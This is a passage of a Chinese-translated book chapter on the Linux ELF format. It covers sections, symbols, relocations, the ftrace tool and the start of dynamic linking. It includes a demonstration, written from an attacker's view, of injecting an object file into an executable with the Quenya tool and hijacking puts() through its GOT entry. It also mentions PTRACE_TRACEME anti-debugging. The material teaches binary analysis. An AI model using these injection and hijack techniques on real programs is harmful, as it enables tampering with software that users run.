bss部分包含未初始化的全局数据作为数据段的一部分,因此除了代表该部分本身的 4 个字节外,在磁盘上不占用任何空间。数据在程序加载时初始化为零,并且数据可以在程序执行期间分配值。bss部分标记为SHT_NOBITS,因为它不包含实际数据。

.got.plt 部分

全局偏移表GOT)部分包含全局偏移表。这与 PLT 一起工作,以提供对导入的共享库函数的访问,并在运行时由动态链接器修改。这个部分特别经常被攻击者滥用,他们在堆或.bss漏洞中获得了指针大小的写入原语。我们将在本章的ELF 动态链接部分中讨论这一点。这个部分与程序执行有关,因此标记为SHT_PROGBITS

.dynsym 部分

dynsym部分包含从共享库导入的动态符号信息。它包含在文本段中,并标记为类型SHT_DYNSYM

.dynstr 部分

dynstr部分包含动态符号的字符串表,其中包含一系列以空字符结尾的每个符号的名称。

.rel.*部分

重定位部分包含有关 ELF 对象或进程映像的部分需要在链接或运行时进行修复或修改的信息。我们将在本章的ELF 重定位部分中更多地讨论重定位。重定位部分标记为类型SHT_REL,因为它包含重定位数据。

.hash 部分

hash部分,有时称为.gnu.hash,包含符号查找的哈希表。在 Linux ELF 中使用以下哈希算法进行符号名称查找:

uint32_t
dl_new_hash (const char *s)
{
        uint32_t h = 5381;

        for (unsigned char c = *s; c != '\0'; c = *++s)
                h = h * 33 + c;

        return h;
}

注意

h = h * 33 + c经常编码为h = ((h << 5) + h) + c

.symtab 部分

symtab部分包含类型为ElfN_Sym的符号信息,我们将在本章的 ELF 符号和重定位部分中更仔细地分析。symtab部分标记为类型SHT_SYMTAB,因为它包含符号信息。

.strtab 部分

.strtab部分包含由.symtab中的ElfN_Sym结构的st_name条目引用的符号字符串表,并标记为类型SHT_STRTAB,因为它包含字符串表。

.shstrtab 部分

shstrtab部分包含节头字符串表,它是一组包含每个节的名称的空字符终止字符串,例如.text.data等。这个部分由 ELF 文件头条目e_shstrndx指向,该条目保存了.shstrtab的偏移量。这个部分标记为SHT_STRTAB,因为它包含一个字符串表。

.ctors 和.dtors 部分

.ctors构造函数)和.dtors析构函数)部分包含指向初始化和终结代码的函数指针,该代码将在实际main()程序代码体之前和之后执行。

注意

__constructor__函数属性有时被黑客和病毒作者使用,以实现执行反调试技巧的函数,例如调用PTRACE_TRACEME,以便进程跟踪自身,没有调试器可以附加到它。这样,反调试代码在程序进入main()之前执行。

还有许多其他部分名称和类型,但我们已经涵盖了大多数在动态链接可执行文件中找到的主要部分。现在可以通过phdrsshdrs来可视化可执行文件的布局。

文本段将如下:

  • 【.text】:这是程序代码

  • 【.rodata】:这是只读数据

  • 【.hash】:这是符号哈希表

  • 【.dynsym】:这是共享对象符号数据

  • 【.dynstr】:这是共享对象符号名称

  • 【.plt】:这是过程链接表

  • 【.rel.got】:这是 G.O.T 重定位数据

数据段将如下:

  • 【.data】:这些是全局初始化变量

  • 【.dynamic】:这些是动态链接结构和对象

  • 【.got.plt】:这是全局偏移表

  • 【.bss】:这些是全局未初始化变量

让我们看一下带有readelf –S命令的ET_REL文件(目标文件)部分头:

ryan@alchemy:~$ gcc -c test.c
ryan@alchemy:~$ readelf -S test.o

以下是 12 个部分头,从偏移 0x124 开始:

  [Nr] Name              Type            Addr           Off
       Size              ES              Flg  Lk   Inf   Al
  [ 0]                   NULL            00000000    000000
       000000            00                   0    0     0
  [ 1] .text             PROGBITS        00000000       000034
       000034            00              AX   0    0     4
  [ 2] .rel.text         REL             00000000       0003d0
       000010            08                   10   1     4
  [ 3] .data             PROGBITS        00000000 000068
       000000            00              WA   0    0     4
  [ 4] .bss              NOBITS          00000000       000068
       000000            00              WA   0    0     4
  [ 5] .comment          PROGBITS        00000000       000068
       00002b            01              MS   0    0     1
  [ 6] .note.GNU-stack   PROGBITS        00000000       000093
       000000            00                   0    0     1
  [ 7] .eh_frame         PROGBITS        00000000       000094
       000038            00              A    0    0     4
  [ 8] .rel.eh_frame     REL             00000000       0003e0
       000008            08                   10   7     4
  [ 9] .shstrtab         STRTAB          00000000       0000cc
       000057            00                   0    0     1
  [10] .symtab           SYMTAB          00000000       000304
       0000b0            10                   11   8     4
  [11] .strtab           STRTAB          00000000       0003b4
       00001a            00                   0    0     1

可重定位对象(类型为ET_REL的 ELF 文件)中不存在程序头,因为.o文件是用来链接到可执行文件的,而不是直接加载到内存中;因此,readelf -ltest.o上不会产生结果。Linux 可加载内核模块实际上是ET_REL对象,并且是一个例外,因为它们确实直接加载到内核内存中,并且在运行时重新定位。

我们可以看到我们讨论过的许多部分都存在,但也有一些不存在。如果我们将test.o编译成可执行文件,我们将看到许多新的部分已被添加,包括.got.plt.plt.dynsym和其他与动态链接和运行时重定位相关的部分:

ryan@alchemy:~$ gcc evil.o -o evil
ryan@alchemy:~$ readelf -S evil

以下是 30 个部分头,从偏移 0x1140 开始:

  [Nr] Name              Type            Addr           Off
       Size              ES              Flg  Lk  Inf   Al
  [ 0]                   NULL            00000000       000000
       000000            00                   0   0     0
  [ 1] .interp           PROGBITS        08048154       000154
       000013            00              A    0   0     1
  [ 2] .note.ABI-tag     NOTE            08048168       000168
       000020            00              A    0   0     4
  [ 3] .note.gnu.build-i NOTE            08048188       000188
       000024            00              A    0   0     4
  [ 4] .gnu.hash         GNU_HASH        080481ac       0001ac
       000020            04              A    5   0     4
  [ 5] .dynsym           DYNSYM          080481cc       0001cc
       000060            10              A    6   1     4
  [ 6] .dynstr           STRTAB          0804822c       00022c
       000052            00              A    0   0     1
  [ 7] .gnu.version      VERSYM          0804827e       00027e
       00000c            02              A    5   0     2
  [ 8] .gnu.version_r    VERNEED         0804828c       00028c
       000020            00              A    6   1     4
  [ 9] .rel.dyn          REL             080482ac       0002ac
       000008            08              A    5   0     4
  [10] .rel.plt          REL             080482b4       0002b4
       000020            08              A    5   12    4
  [11] .init             PROGBITS        080482d4       0002d4
       00002e            00              AX   0   0     4
  [12] .plt              PROGBITS        08048310       000310
       000050            04              AX   0   0     16
  [13] .text             PROGBITS        08048360       000360
       00019c            00              AX   0   0     16
  [14] .fini             PROGBITS        080484fc       0004fc
       00001a            00              AX   0   0     4
  [15] .rodata           PROGBITS        08048518       000518
       000008            00              A    0   0     4
  [16] .eh_frame_hdr     PROGBITS        08048520       000520
       000034            00              A    0   0     4
  [17] .eh_frame         PROGBITS        08048554       000554
       0000c4            00              A    0   0     4
  [18] .ctors            PROGBITS        08049f14       000f14
       000008            00              WA   0   0     4
  [19] .dtors            PROGBITS        08049f1c       000f1c
       000008            00              WA   0   0     4
  [20] .jcr              PROGBITS        08049f24       000f24
       000004            00              WA   0   0     4
  [21] .dynamic          DYNAMIC         08049f28       000f28
       0000c8            08              WA   6   0     4
  [22] .got              PROGBITS        08049ff0       000ff0
       000004            04              WA   0   0     4
  [23] .got.plt          PROGBITS        08049ff4       000ff4
       00001c            04              WA   0   0     4
  [24] .data             PROGBITS        0804a010       001010
       000008            00              WA   0   0     4
  [25] .bss              NOBITS          0804a018       001018
       000008            00              WA   0   0     4
  [26] .comment          PROGBITS        00000000       001018
       00002a            01              MS   0   0     1
  [27] .shstrtab         STRTAB          00000000       001042
       0000fc            00                   0   0     1
  [28] .symtab           SYMTAB          00000000       0015f0
       000420            10                   29  45    4
  [29] .strtab           STRTAB          00000000       001a10
       00020d            00                   0   0

正如观察到的,已经添加了许多部分,其中最重要的是与动态链接和构造函数相关的部分。我强烈建议读者跟随推断哪些部分已更改或添加以及添加部分的目的的练习。请参阅 ELF(5)手册页或 ELF 规范。

ELF 符号

符号是对某种类型的数据或代码的符号引用,例如全局变量或函数。例如,printf()函数将在动态符号表.dynsym中有一个指向它的符号条目。在大多数共享库和动态链接的可执行文件中,存在两个符号表。在先前显示的readelf -S输出中,您可以看到两个部分:.dynsym.symtab

.dynsym包含引用外部源的全局符号,例如libc函数如printf,而.symtab中包含所有.dynsym中的符号,以及可执行文件中的本地符号,例如全局变量,或者您在代码中定义的本地函数。因此,.symtab包含所有符号,而.dynsym只包含动态/全局符号。

所以问题是:如果.symtab已经包含了.dynsym中的所有内容,为什么还要有两个符号表?如果您查看可执行文件的readelf -S输出,您会发现一些部分被标记为AALLOC)或WAWRITE/ALLOC)或AXALLOC/EXEC)。如果您查看.dynsym,您会发现它被标记为 ALLOC,而.symtab没有标志。

ALLOC 表示该部分将在运行时分配并加载到内存中,.symtab不会加载到内存中,因为对于运行时来说是不必要的。.dynsym包含只能在运行时解析的符号,因此它们是动态链接器在运行时所需的唯一符号。因此,虽然.dynsym符号表对于动态链接可执行文件的执行是必要的,但.symtab符号表仅用于调试和链接目的,并且通常会从生产二进制文件中剥离以节省空间。

让我们看看 64 位 ELF 文件的 ELF 符号条目是什么样子的:

typedef struct {
uint32_t      st_name;
    unsigned char st_info;
    unsigned char st_other;
    uint16_t      st_shndx;
    Elf64_Addr    st_value;
    Uint64_t      st_size;
} Elf64_Sym;

符号条目包含在.symtab.dynsym部分中,这就是为什么这些部分的sh_entsize(部分头条目大小)等于sizeof(ElfN_Sym)

st_name

st_name包含符号表字符串表(位于.dynstr.strtab中)中符号名称的偏移量,比如printf

st_value

st_value保存符号的值(地址或位置的偏移量)。

st_size

st_size包含符号的大小,比如全局函数ptr的大小,在 32 位系统上为 4 字节。

st_other

该成员定义了符号的可见性。

st_shndx

每个符号表条目都与某个部分定义相关。该成员保存相关部分头表索引。

st_info

st_info指定符号类型和绑定属性。有关这些类型和属性的完整列表,请参阅ELF(5) man page。符号类型以 STT 开头,而符号绑定以 STB 开头。例如,一些常见的如下部分所述。

符号类型

我们有以下符号类型:

  • STT_NOTYPE:符号类型未定义

  • STT_FUNC:符号与函数或其他可执行代码相关联

  • STT_OBJECT:符号与数据对象相关联

符号绑定

我们有以下符号绑定:

  • STB_LOCAL:局部符号对包含其定义的目标文件之外不可见,比如声明为静态的函数。

  • STB_GLOBAL:全局符号对于所有被合并的目标文件都是可见的。一个文件对全局符号的定义将满足另一个文件对相同符号的未定义引用。

  • STB_WEAK:类似于全局绑定,但优先级较低,意味着绑定是弱的,可能会被另一个未标记为STB_WEAK的符号(具有相同名称)覆盖。

有用于打包和解包绑定和类型字段的宏:

  • ELF32_ST_BIND(info)ELF64_ST_BIND(info)st_info值中提取绑定

  • ELF32_ST_TYPE(info)ELF64_ST_TYPE(info)st_info值中提取类型

  • ELF32_ST_INFO(bind, type)ELF64_ST_INFO(bind, type)将绑定和类型转换为st_info

让我们看看以下源代码的符号表:

static inline void foochu()
{ /* Do nothing */ }

void func1()
{ /* Do nothing */ }

_start()
{
        func1();
        foochu();
}

以下是查看函数foochufunc1的符号表条目的命令:

ryan@alchemy:~$ readelf -s test | egrep 'foochu|func1'
     7: 080480d8     5 FUNC    LOCAL  DEFAULT    2 foochu
     8: 080480dd     5 FUNC    GLOBAL DEFAULT    2 func1

我们可以看到foochu函数的值为0x80480da,是一个函数(STT_FUNC),具有局部符号绑定(STB_LOCAL)。如果你还记得,我们稍微谈到了LOCAL绑定,这意味着该符号在定义它的目标文件之外是不可见的,这就是为什么foochu是局部的,因为我们在源代码中使用了static 关键字声明它。

符号对每个人都更容易,它们是 ELF 对象的一部分,用于链接、重定位、可读的反汇编和调试。这让我想到了一个我在 2013 年编写的有用工具的话题,名为ftrace。类似于ltracestraceftrace将跟踪二进制文件中进行的所有函数调用,并且还可以显示其他分支指令,比如跳转。我最初设计ftrace是为了帮助我在工作中没有源代码的情况下对二进制文件进行逆向。ftrace被认为是一种动态分析工具。让我们来看一下它的一些功能。我们用以下源代码编译一个二进制文件:

#include <stdio.h>

int func1(int a, int b, int c)
{
  printf("%d %d %d\n", a, b ,c);
}

int main(void)
{
  func1(1, 2, 3);
}

现在,假设我们没有前面的源代码,我们想知道它编译成的二进制文件的内部工作原理,我们可以在其上运行ftrace。首先让我们看一下概要:

ftrace [-p <pid>] [-Sstve] <prog>

用法如下:

  • [-p]:这按 PID 进行跟踪

  • [-t]:这是用于函数参数类型检测

  • [-s]:这会打印字符串值

  • [-v]:这提供详细输出

  • [-e]:这提供杂项 ELF 信息(符号、依赖项)

  • [-S]:这显示带有剥离符号的函数调用

  • [-C]:这完成控制流分析

让我们试一试:

ryan@alchemy:~$ ftrace -s test
[+] Function tracing begins here:
PLT_call@0x400420:__libc_start_main()
LOCAL_call@0x4003e0:_init()
(RETURN VALUE) LOCAL_call@0x4003e0: _init() = 0
LOCAL_call@0x40052c:func1(0x1,0x2,0x3)  // notice values passed
PLT_call@0x400410:printf("%d %d %d\n")  // notice we see string value
1 2 3
(RETURN VALUE) PLT_call@0x400410: printf("%d %d %d\n") = 6
(RETURN VALUE) LOCAL_call@0x40052c: func1(0x1,0x2,0x3) = 6
LOCAL_call@0x400470:deregister_tm_clones()
(RETURN VALUE) LOCAL_call@0x400470: deregister_tm_clones() = 7

一个聪明的人现在可能会问:如果二进制文件的符号表被剥离了会发生什么?没错,你可以剥离二进制文件的符号表;但是,动态链接的可执行文件将始终保留.dynsym,但如果被剥离,将丢弃.symtab,因此只有导入的库符号会显示出来。

如果二进制文件是静态编译的(gcc-static)或没有libc链接(gcc-nostdlib),然后用strip命令剥离,二进制文件将不再有符号表,因为动态符号表不再是必要的。ftrace在使用-S标志时的行为与众不同,该标志告诉ftrace即使没有符号附加到它,也要显示每个函数调用。使用-S标志时,ftrace将显示函数名称为SUB_<address_of_function>,类似于 IDA pro 将显示没有符号表引用的函数。

让我们看一下以下非常简单的源代码:

int foo(void) {
}

_start()
{
  foo();
  __asm__("leave");
}

前面的源代码只是调用了foo()函数然后退出。我们使用_start()而不是main()的原因是因为我们用以下方式编译它:

gcc -nostdlib test2.c -o test2

gcc标志-nostdlib指示链接器省略标准的libc链接约定,只需编译我们拥有的代码,而不多余的东西。默认的入口点是一个名为_start()的符号:

ryan@alchemy:~$ ftrace ./test2
[+] Function tracing begins here:
LOCAL_call@0x400144:foo()
(RETURN VALUE) LOCAL_call@0x400144: foo() = 0
Now let's strip the symbol table and run ftrace on it again:
ryan@alchemy:~$ strip test2
ryan@alchemy:~$ ftrace -S test2
[+] Function tracing begins here:
LOCAL_call@0x400144:sub_400144()
(RETURN VALUE) LOCAL_call@0x400144: sub_400144() = 0

我们现在注意到foo()函数已被sub_400144()替换,这表明函数调用发生在地址0x400144。现在如果我们在剥离符号之前看test2二进制文件,我们可以看到0x400144确实是foo()所在的地方:

ryan@alchemy:~$ objdump -d test2
test2:     file format elf64-x86-64
Disassembly of section .text:
0000000000400144<foo>:
  400144:   55                      push   %rbp
  400145:   48 89 e5                mov    %rsp,%rbp
  400148:   5d                      pop    %rbp
  400149:   c3                      retq   

000000000040014a <_start>:
  40014a:   55                      push   %rbp
  40014b:   48 89 e5                mov    %rsp,%rbp
  40014e:   e8 f1 ff ff ff          callq  400144 <foo>
  400153:   c9                      leaveq
  400154:   5d                      pop    %rbp
  400155:   c3                 retq

事实上,为了让你真正了解符号对逆向工程师(当我们拥有它们时)有多么有帮助,让我们看看test2二进制文件,这次没有符号,以演示它变得稍微不那么容易阅读。这主要是因为分支指令不再附有符号名称,因此分析控制流变得更加繁琐,需要更多的注释,而一些反汇编器如 IDA-pro 允许我们在进行时进行注释:

$ objdump -d test2
test2:     file format elf64-x86-64
Disassembly of section .text:
0000000000400144 <.text>:
  400144:   55                      push   %rbp  
  400145:   48 89 e5                mov    %rsp,%rbp
  400148:   5d                      pop    %rbp
  400149:   c3                      retq   
  40014a:   55                      push   %rbp 
  40014b:   48 89 e5                mov    %rsp,%rbp
  40014e:   e8 f1 ff ff ff          callq  0x400144
  400153:   c9                      leaveq
  400154:   5d                      pop    %rbp
  400155:   c3                      retq   

唯一能让我们知道新函数从哪里开始的方法是检查过程序言,它位于每个函数的开头,除非使用了(gcc -fomit-frame-pointer),在这种情况下,识别起来就不那么明显了。

本书假设读者已经对汇编语言有一些了解,因为教授 x86 汇编不是本书的目标,但请注意前面加粗的过程序言,它有助于标明每个函数的开始。过程序言只是为每个被调用的新函数设置堆栈帧,通过在堆栈上备份基指针并将其值设置为在调整堆栈指针之前的堆栈指针的值。这样变量可以作为基指针寄存器ebp/rbp中存储的固定地址的正偏移来引用。

现在我们已经对符号有了一定的了解,下一步是理解重定位。在下一节中,我们将看到符号、重定位和部分如何紧密地联系在一起,并在 ELF 格式中处于相同的抽象层级。

ELF 重定位

来自 ELF(5)手册页:

重定位是将符号引用与符号定义连接起来的过程。可重定位文件必须具有描述如何修改其部分内容的信息,从而允许可执行文件和共享对象文件保存进程的程序映像所需的正确信息。重定位条目就是这些数据。

重定位的过程依赖于符号和部分,这就是为什么我们首先介绍符号和部分。在重定位中,有重定位记录,它们基本上包含了有关如何修补与给定符号相关的代码的信息。重定位实际上是一种用于二进制修补甚至在动态链接器涉及时在内存中进行热修补的机制。链接器程序:/bin/ld用于创建可执行文件和共享库,必须具有描述如何修补某些指令的元数据。这些元数据被存储为我们所谓的重定位记录。我将通过一个例子进一步解释重定位。

想象一下,有两个目标文件链接在一起创建可执行文件。我们有obj1.o包含调用名为foo()的函数的代码,该函数位于obj2.o中。链接器程序分析了obj1.oobj2.o,并包含了重定位记录,以便它们可以链接在一起创建一个完全可工作的可执行程序。符号引用将被解析为符号定义,但这究竟是什么意思呢?目标文件是可重定位代码,这意味着它是代码,旨在被重定位到可执行段内的给定地址。在重定位过程发生之前,代码具有符号和代码,这些符号和代码在不知道它们在内存中的位置之前将无法正常工作或无法正确引用。这些必须在链接器首先知道它们在可执行段内的位置之后进行修补。

让我们快速看一下 64 位重定位条目:

typedef struct {
        Elf64_Addr r_offset;
        Uint64_t   r_info;
} Elf64_Rel;

有些重定位条目需要一个加数:

typedef struct {
        Elf64_Addr r_offset;
        uint64_t   r_info;
        int64_t    r_addend;
} Elf64_Rela;

r_offset指向需要进行重定位操作的位置。重定位操作描述了如何修补r_offset处包含的代码或数据的详细信息。

r_info给出了必须进行重定位的符号表索引以及要应用的重定位类型。

r_addend指定了用于计算可重定位字段中存储的值的常数加数。

32 位 ELF 文件的重定位记录与 64 位相同,但使用 32 位整数。以下示例将编译为 32 位的目标文件代码,以便我们可以演示隐式加数,这在 64 位中不常用。当重定位记录存储在不包含r_addend字段的 ElfN_Rel 类型结构中时,隐式加数就会发生,因此加数存储在重定位目标本身中。64 位可执行文件倾向于使用包含显式加数ElfN_Rela结构。我认为值得理解这两种情况,但隐式加数有点更令人困惑,因此有必要对这一领域进行阐明。

让我们来看一下源代码:

_start()
{
   foo();
}

我们看到它调用了foo()函数。但是,foo()函数并不直接位于该源代码文件中;因此,在编译时,将创建一个重定位条目,以满足以后对符号引用的需求:

$ objdump -d obj1.o
obj1.o:     file format elf32-i386
Disassembly of section .text:
00000000 <func>:
   0:   55                      push   %ebp
   1:   89 e5                   mov    %esp,%ebp
   3:   83 ec 08                sub    $0x8,%esp
   6:   e8 fc ff ff ff          call 7 <func+0x7>
   b:   c9                      leave  
   c:   c3                      ret   

正如我们所看到的,对foo()的调用被突出显示,并包含值0xfffffffc,这是隐式加数。还要注意call 7。数字7是要修补的重定位目标的偏移量。因此,当obj1.o(调用位于obj2.o中的foo())与obj2.o链接以生成可执行文件时,链接器会处理指向偏移量7的重定位条目,告诉它需要修改的位置(偏移量 7)。然后,链接器会修补偏移量 7 处的 4 个字节,使其包含foo()函数的真实偏移量,foo()在可执行文件中的某个位置。

注意

调用指令e8 fc ff ff ff包含隐式加数,对于这节课很重要;值0xfffffffc-(4)-(sizeof(uint32_t))。在 32 位系统上,一个双字是 4 个字节,这是重定位目标的大小。

$ readelf -r obj1.o

Relocation section '.rel.text' at offset 0x394 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00000007  00000902 R_386_PC32        00000000   foo

正如我们所看到的,偏移量为 7 的重定位字段由重定位条目的r_offset字段指定。

  • R_386_PC32是重定位类型。要了解所有这些类型,请阅读 ELF 规范。每种重定位类型都需要对被修改的重定位目标进行不同的计算。R_386_PC32使用S + A - P修改目标。

  • S是重定位条目中索引的符号的值。

  • A是在重定位条目中找到的加数。

  • P是被重定位的存储单元的位置(段偏移量或地址)(使用r_offset计算)。

让我们看看在 32 位系统上编译obj1.oobj2.o后,我们的可执行文件的最终输出:

$ gcc -nostdlib obj1.o obj2.o -o relocated
$ objdump -d relocated

test:     file format elf32-i386

Disassembly of section .text:

080480d8 <func>:
 80480d8:   55                      push   %ebp
 80480d9:   89 e5                   mov    %esp,%ebp
 80480db:   83 ec 08                sub    $0x8,%esp
 80480de:   e8 05 00 00 00          call   80480e8 <foo>
 80480e3:   c9                      leave  
 80480e4:   c3                      ret    
 80480e5:   90                      nop
 80480e6:   90                      nop
 80480e7:   90                      nop

080480e8 <foo>:
 80480e8:   55                      push   %ebp
 80480e9:   89 e5                   mov    %esp,%ebp
 80480eb:   5d                      pop    %ebp
 80480ec:   c3                      ret

我们可以看到,调用指令(重定位目标)在 0x80480de处已被修改为 32 位偏移值5,指向foo()。值5R386_PC_32重定位操作的结果:

S + A – P: 0x80480e8 + 0xfffffffc – 0x80480df = 5

0xfffffffc与有符号整数中的-4相同,因此计算也可以看作:

0x80480e8 + (0x80480df + sizeof(uint32_t))

要计算虚拟地址的偏移量,请使用以下计算:

address_of_call + offset + 5 (Where 5 is the length of the call instruction)

在这种情况下是0x80480de + 5 + 5 = 0x80480e8

注意

请注意这个计算,因为它很重要并且在频繁计算地址偏移时可以使用。

地址也可以通过以下计算得出偏移量:

address – address_of_call – 4 (Where 4 is the length of the immediate operand to the call instruction, which is 32bits).

如前所述,ELF 规范详细介绍了 ELF 重定位,并且我们将在下一节中讨论一些在动态链接中使用的类型,例如R386_JMP_SLOT重定位条目。

基于可重定位代码注入的二进制修补

可重定位代码注入是黑客、病毒作者或任何想要修改二进制代码的人可能利用的一种技术,作为一种在编译和链接为可执行文件之后重新链接二进制文件的方式。也就是说,您可以将一个目标文件注入到可执行文件中,更新可执行文件的符号表以反映新插入的功能,并对注入的目标代码执行必要的重定位,使其成为可执行文件的一部分。

一个复杂的病毒可能会使用这种技术,而不仅仅是附加位置无关代码。这种技术需要在目标可执行文件中腾出空间来注入代码,然后应用重定位。我们将在第四章中更全面地介绍二进制感染和代码注入,ELF 病毒技术- Linux/Unix 病毒

如第一章中所述,Linux 环境及其工具,有一个名为Eresiwww.eresi-project.org)的神奇工具,它能够进行可重定位代码注入(又称ET_REL注入)。我还设计了一个用于 ELF 的自定义逆向工程工具,名为Quenya。它非常古老,但可以在www.bitlackeys.org/projects/quenya_32bit.tgz上找到。Quenya 具有许多功能和能力,其中之一就是将目标代码注入到可执行文件中。这对于通过劫持给定函数来修补二进制文件非常有用。Quenya 只是一个原型,从未像Eresi项目那样得到发展。我之所以使用它作为示例,是因为我对它更熟悉;然而,我会说,为了更可靠的结果,也许最好使用Eresi或编写自己的工具。

让我们假装我们是攻击者,我们想要感染一个调用puts()打印Hello World的 32 位程序。我们的目标是劫持puts(),使其调用evil_puts()

#include <sys/syscall.h>
int _write (int fd, void *buf, int count)
{
  long ret;

  __asm__ __volatile__ ("pushl %%ebx\n\t"
"movl %%esi,%%ebx\n\t"
"int $0x80\n\t""popl %%ebx":"=a" (ret)
                        :"0" (SYS_write), "S" ((long) fd),
"c" ((long) buf), "d" ((long) count));
  if (ret >= 0) {
    return (int) ret;
  }
  return -1;
}
int evil_puts(void)
{
        _write(1, "HAHA puts() has been hijacked!\n", 31);
}

现在我们将evil_puts.c编译成evil_puts.o并将其注入到名为./hello_world的程序中:

$ ./hello_world
Hello World

这个程序调用以下内容:

puts("Hello World\n");

现在我们使用Quenya将我们的evil_puts.o文件注入和重定位到hello_world中:

[Quenya v0.1@alchemy] reloc evil_puts.o hello_world
0x08048624  addr: 0x8048612
0x080485c4 _write addr: 0x804861e
0x080485c4  addr: 0x804868f
0x080485c4  addr: 0x80486b7
Injection/Relocation succeeded

我们可以看到,来自我们的evil_puts.o目标文件的write()函数已经被重定位,并在可执行文件hello_world中分配了一个地址0x804861e。下一个命令劫持并覆盖了puts()的全局偏移表条目,将其地址替换为evil_puts()的地址:

[Quenya v0.1@alchemy] hijack binary hello_world evil_puts puts
Attempting to hijack function: puts
Modifying GOT entry for puts
Successfully hijacked function: puts
Committing changes into executable file
[Quenya v0.1@alchemy] quit

然后就成功了!

ryan@alchemy:~/quenya$ ./hello_world
HAHA puts() has been hijacked!

我们已经成功地将一个目标文件重定位到一个可执行文件中,并修改了可执行文件的控制流,使其执行我们注入的代码。如果我们在hello_world上使用readelf -s,我们现在实际上可以看到一个evil_puts()的符号。

为了您的兴趣,我已经包含了一个包含 Quenya ELF 重定位机制的小代码片段;如果没有看到代码库的其余部分,它可能有点晦涩,但如果您记住了我们学到的关于重定位的知识,它也是相当直接的。

switch(obj.shdr[i].sh_type)
{
case SHT_REL: /* Section contains ElfN_Rel records */
rel = (Elf32_Rel *)(obj.mem + obj.shdr[i].sh_offset);
for (j = 0; j < obj.shdr[i].sh_size / sizeof(Elf32_Rel); j++, rel++)
{
/* symbol table */ 
symtab = (Elf32_Sym *)obj.section[obj.shdr[i].sh_link]; 

/* symbol we are applying relocation to */
symbol = &symtab[ELF32_R_SYM(rel->r_info)];

/* section to modify */
TargetSection = &obj.shdr[obj.shdr[i].sh_info];
TargetIndex = obj.shdr[i].sh_info;

/* target location */
TargetAddr = TargetSection->sh_addr + rel->r_offset;

/* pointer to relocation target */
RelocPtr = (Elf32_Addr *)(obj.section[TargetIndex] + rel->r_offset);

/* relocation value */
RelVal = symbol->st_value; 
RelVal += obj.shdr[symbol->st_shndx].sh_addr;

printf("0x%08x %s addr: 0x%x\n",RelVal, &SymStringTable[symbol->st_name], TargetAddr);

switch (ELF32_R_TYPE(rel->r_info)) 
{
/* R_386_PC32      2    word32  S + A - P */ 
case R_386_PC32:
*RelocPtr += RelVal;
*RelocPtr -= TargetAddr;
break;

/* R_386_32        1    word32  S + A */
case R_386_32:
*RelocPtr += RelVal;
     break;
 } 
}

如前面的代码所示,RelocPtr指向的重定位目标将根据重定位类型(如R_386_32)请求的重定位操作进行修改。

虽然可重定位代码二进制注入是重定位背后思想的一个很好的例子,但它并不完美地展示了链接器如何在多个目标文件中实际执行。尽管如此,它仍然保留了重定位操作的一般思想和应用。接下来我们将讨论共享库(ET_DYN)注入,这将引出动态链接的话题。

ELF 动态链接

在过去,一切都是静态链接的。如果程序使用外部库函数,整个库将直接编译到可执行文件中。ELF 支持动态链接,这是一种更高效的处理共享库的方式。

当程序加载到内存中时,动态链接器还会将需要的共享库加载到该进程的地址空间并绑定。动态链接的主题很少被人深入理解,因为它是一个相对复杂的过程,在底层似乎像魔术一样工作。在本节中,我们将揭示一些其复杂性并揭示它的工作原理,以及它如何被攻击者滥用。

共享库被编译为位置无关,因此可以很容易地重定位到进程地址空间中。共享库是一个动态 ELF 对象。如果你查看readelf -h lib.so,你会看到e_typeELF 文件类型)被称为ET_DYN。动态对象与可执行文件非常相似。它们通常没有PT_INTERP段,因为它们是由程序解释器加载的,因此不会调用程序解释器。

当一个共享库被加载到进程地址空间时,必须满足引用其他共享库的任何重定位。动态链接器必须修改可执行文件的 GOT(全局偏移表)(位于.got.plt部分),这是一个位于数据段中的地址表。它位于数据段中,因为它必须是可写的(至少最初是这样;请参阅只读重定位作为安全功能)。动态链接器使用已解析的共享库地址修补 GOT。我们将很快解释延迟链接的过程。

辅助向量

当一个程序通过sys_execve()系统调用加载到内存时,可执行文件被映射并分配一个堆栈(以及其他内容)。该进程地址空间的堆栈被设置为以非常特定的方式传递信息给动态链接器。这种特定的设置和信息排列被称为辅助向量auxv。堆栈的底部(因为堆栈在 x86 架构上向下增长,所以它的最高内存地址)加载了以下信息:

辅助向量

[argc][argv][envp][auxiliary][.ascii data for argv/envp]

辅助向量(或 auxv)是一系列 ElfN_auxv_t 结构。

typedef struct
{
  uint64_t a_type;              /* Entry type */
  union
    {
      uint64_t a_val;           /* Integer value */
    } a_un;
} Elf64_auxv_t;

a_type描述了 auxv 条目类型,a_val提供了它的值。以下是动态链接器需要的一些最重要的条目类型:

#define AT_EXECFD       2       /* File descriptor of program */
#define AT_PHDR         3       /* Program headers for program */
#define AT_PHENT        4       /* Size of program header entry */
#define AT_PHNUM        5       /* Number of program headers */
#define AT_PAGESZ       6       /* System page size */
#define AT_ENTRY        9       /* Entry point of program */
#define AT_UID          11      /* Real uid */

动态链接器从堆栈中检索有关正在执行的程序的信息。链接器必须知道程序头的位置,程序的入口点等。我之前列出了一些 auxv 条目类型,取自/usr/include/elf.h

辅助向量是由一个名为create_elf_tables()的内核函数设置的,该函数位于 Linux 源代码/usr/src/linux/fs/binfmt_elf.c中。

实际上,从内核的执行过程看起来像下面这样:

  1. sys_execve() →。

  2. 调用do_execve_common() →。

  3. 调用search_binary_handler() →。

  4. 调用load_elf_binary() →。

  5. 调用create_elf_tables() →。

以下是/usr/src/linux/fs/binfmt_elf.ccreate_elf_tables()的一些代码,用于添加 auxv 条目:

NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));
NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
NEW_AUX_ENT(AT_BASE, interp_load_addr);
NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

正如你所看到的,ELF 入口点和程序头的地址等数值是使用内核中的NEW_AUX_ENT()宏放置到堆栈上的。

一旦程序加载到内存中并且辅助向量已经填充,控制就会传递给动态链接器。动态链接器解析链接到进程地址空间中的共享库的符号和重定位。默认情况下,可执行文件与 GNU C 库libc.so动态链接。ldd命令将显示给定可执行文件的共享库依赖关系。

了解 PLT/GOT

